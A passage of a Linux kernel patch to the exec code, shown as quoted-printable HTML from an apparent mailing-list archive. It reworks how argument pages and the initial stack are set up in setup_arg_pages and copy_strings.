set-len);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<b=
r>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err =3D copy_fro=
m_user(kaddr+offset, str, bytes_to_copy);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; if (err) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; if (copy_from_user(kaddr+offset, str, bytes_to_c=
opy)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D -EFAULT;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out;<br>&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pos +=3D bytes_to_copy;<br>-=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str +=3D bytes_to=
_copy;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len -=
=3D bytes_to_copy;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D 0;<br> out:=
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped_page)<br>+&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp; if (kmapped_page) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;kunma=
p(kmapped_page);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; put_page(kmapped_page);<br>+&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return ret;<br> }<br><br>@@=
 -297,157 +370,79 @@ int copy_strings_kernel(int argc,char **<br><br> EXPOR=
T_SYMBOL(copy_strings_kernel);<br><br>-#ifdef CONFIG_MMU<br>-/*<br>- * This=
 routine is used to map in a page into an address space: needed by
<br>- * execve() for the initial stack and environment pages.<br>- *<br>- *=
 vma-&gt;vm_mm-&gt;mmap_sem is held for writing.<br>- */<br>-void install_a=
rg_page(struct vm_area_struct *vma,<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; struct page *page, unsigned long address)
<br>-{<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct mm_struct *mm =3D vm=
a-&gt;vm_mm;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pte_t * pte;<br>-&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spinlock_t *ptl;<br>-<br>-&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; if (unlikely(anon_vma_prepare(vma)))<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; got=
o out;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; flush_dcache_page(page=
);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pte =3D get_locked_pte(mm, addres=
s, &amp;ptl);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!pte)<br>-&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; goto out;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!pte_none(*pte))=
 {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; pte_unmap_unlock(pte, ptl);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto out;<br>-&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc_mm_counter(mm, anon_rss);<br>=
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lru_cache_add_active(page);<br>-&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set_pte_at(mm, address, pte, pte_mkdirty(pt=
e_mkwrite(mk_pte(<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp; page, vma-&gt;vm_page_prot))));
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; page_add_new_anon_rmap(page, vma,=
 address);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pte_unmap_unlock(pte, p=
tl);<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* no need for flush_tlb=
 */<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return;<br>-out:<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; __free_page(page);<br>-&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; force_sig(SIGKILL, current);
<br>-}<br>-<br> #define EXTRA_STACK_VM_PAGES&nbsp;&nbsp; 20&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;/* random */<br><br>+/* Finalizes the stack vm_area_str=
uct.&nbsp;&nbsp;The flags and permissions are updated,<br>+ * the stack is =
optionally relocated, and some extra space is added.
<br>+ */<br> int setup_arg_pages(struct linux_binprm *bprm,<br>&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned long stack_top,<br>&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int executable_stack)<br> {<br>-&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; unsigned long stack_base;<br>-&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; struct vm_area_struct *mpnt;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long ret;<br>+&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long stack_base, stack_shift;<br>&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct mm_struct *mm =3D current-=
&gt;mm;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i, ret;<br>-&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; long arg_size;<br><br>-#ifdef CONFIG_STACK_GROWS=
UP<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Move the argument and enviro=
nment strings to the bottom of the
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* stack space.<br>-&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; int offset, j;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char =
*to, *from;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUG_ON(stack_top &gt; =
TASK_SIZE);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUG_ON(stack_top &amp;=
 ~PAGE_MASK);<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Start by shif=
ting all the pages down */
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i =3D 0;<br>-&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; for (j =3D 0; j &lt; MAX_ARG_PAGES; j++) {<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s=
truct page *page =3D bprm-&gt;page[j];<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!page)<br>-&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;<br>-&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
bprm-&gt;page[i++] =3D page;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>-<br>-&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; /* Now move them within their pages */<br>-&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; offset =3D bprm-&gt;p % PAGE_SIZE;<br>-&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; to =3D kmap(bprm-&gt;page[0]);<br>-&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; for (j =3D 1; j &lt; i; j++) {<br>-&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memmove(to, =
to + offset, PAGE_SIZE - offset);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; from =3D kmap(bprm-&gt;page[j]);<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(to + P=
AGE_SIZE - offset, from, offset);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kunmap(bprm-&gt;page[j - 1]=
);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; to =3D from;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br=
>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memmove(to, to + offset, PAGE_SIZE -=
 offset);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kunmap(bprm-&gt;page[j - 1]);<br>=
-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Limit stack size to 1GB */<br=
>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D current-&gt;signal-&g=
t;rlim[RLIMIT_STACK].rlim_max;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
(stack_base &gt; (1 &lt;&lt; 30))<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D 1 &lt;&lt; 3=
0;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D PAGE_ALIGN(stack_t=
op - stack_base);<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Adjust b=
prm-&gt;p to point to the end of the strings. */<br>-&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; bprm-&gt;p =3D stack_base + PAGE_SIZE * i - offset;<br>-<br>=
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm-&gt;arg_start =3D stack_base;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arg_size =3D i &lt;&lt; PAGE_SHIF=
T;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* zero pages that were co=
pied above */<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i &lt; MAX_AR=
G_PAGES)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; bprm-&gt;page[i++] =3D NULL;<br>-#else<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D arch_align_stack(stack_top - MAX=
_ARG_PAGES*PAGE_SIZE);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stack_base =3D arch_align_stack(s=
tack_top - mm-&gt;stack_vm*PAGE_SIZE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;stack_base =3D PAGE_ALIGN(stack_base);<br>-&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; bprm-&gt;p +=3D stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; mm-&gt;arg_start =3D bprm-&gt;p;<br>-&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; arg_size =3D stack_top - (PAGE_MASK &amp; (unsigned long) mm-&=
gt;arg_start);
<br>-#endif<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arg_size +=3D EXTR=
A_STACK_VM_PAGES * PAGE_SIZE;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stac=
k_shift =3D (bprm-&gt;p &amp; PAGE_MASK) - stack_base;<br>+&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; BUG_ON(stack_shift &lt; 0);<br>+&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; bprm-&gt;p -=3D stack_shift;<br>
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm-&gt;arg_start =3D bprm-&gt;p;<br><=
br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (bprm-&gt;loader)<br>=
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; bprm-&gt;loader +=3D stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; bprm-&gt;exec +=3D stack_base;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp; mpnt =3D kmem_cache_alloc(vm_area_cachep, GFP_KERNEL);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!mpnt)<br>-&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -=
ENOMEM;<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(mpnt, 0, sizeo=
f(*mpnt));<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;loader -=3D stack_shift;<br>+&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;exec -=3D stack_shift;<br><br>&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;down_write(&amp;mm-&gt;mmap_sem);
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>-&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&g=
t;vm_mm =3D mm;<br>-#ifdef CONFIG_STACK_GROWSUP<br>-&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_s=
tart =3D stack_base;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_end =3D stack_base + arg_siz=
e;<br>-#else<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_end =3D stack_top;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mpnt-&gt;vm_start =3D mpnt-&gt;vm_end - arg_size;<br>-#endif=
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; struct vm_area_struct *vma =3D bprm-&gt;vma;<br>+&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s=
truct vm_area_struct *prev =3D NULL;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long vm_flags =
=3D vma-&gt;vm_flags;
<br>+<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Adjust stack execute permissions; explicit=
ly enable<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * for EXSTACK_ENABLE_X, disable for EXST=
ACK_DISABLE_X<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * and leave alone (arch default) oth=
erwise. */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;if (unlikely(executable_stack =3D=3D EXSTACK_ENABLE_X)=
)<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm=
_flags =3D VM_STACK_FLAGS |&nbsp;&nbsp;VM_EXEC;<br>+&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vm_flags |=3D VM_EXEC;<br>&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;else if (executable_stack =3D=3D EXSTACK_DISABLE_X)
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_=
flags =3D VM_STACK_FLAGS &amp; ~VM_EXEC;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>-&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_flags =3D VM_STA=
CK_FLAGS;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; mpnt-&gt;vm_flags |=3D mm-&gt;def_flags;
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; mpnt-&gt;vm_page_prot =3D protection_map[mpnt-&gt;vm_flags &=
amp; 0x7];<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; if ((ret =3D insert_vm_struct(mm, mpnt))) {<br>+&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vm_flags &amp;=3D ~=
VM_EXEC;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; vm_flags |=3D mm-&gt;def_flags;
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; ret =3D mprotect_fixup(vma, &amp;prev, vma-&gt;vm_start=
, vma-&gt;vm_end,<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vm_flags);<br>+&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; if (ret) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;up_write(&amp;mm-&gt;mmap_sem);
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; kmem_cache_f=
ree(vm_area_cachep, mpnt);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;return ret;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>-&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
 mm-&gt;stack_vm =3D mm-&gt;total_vm =3D vma_pages(mpnt);<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp; }<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUG_ON(prev !=3D vma);
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; /* Move stack pages down in memory. */<br>+&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if=
 (stack_shift) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp; /* This should be safe even with overlap because we<br>+&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* are shifting down. =
*/
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D move=
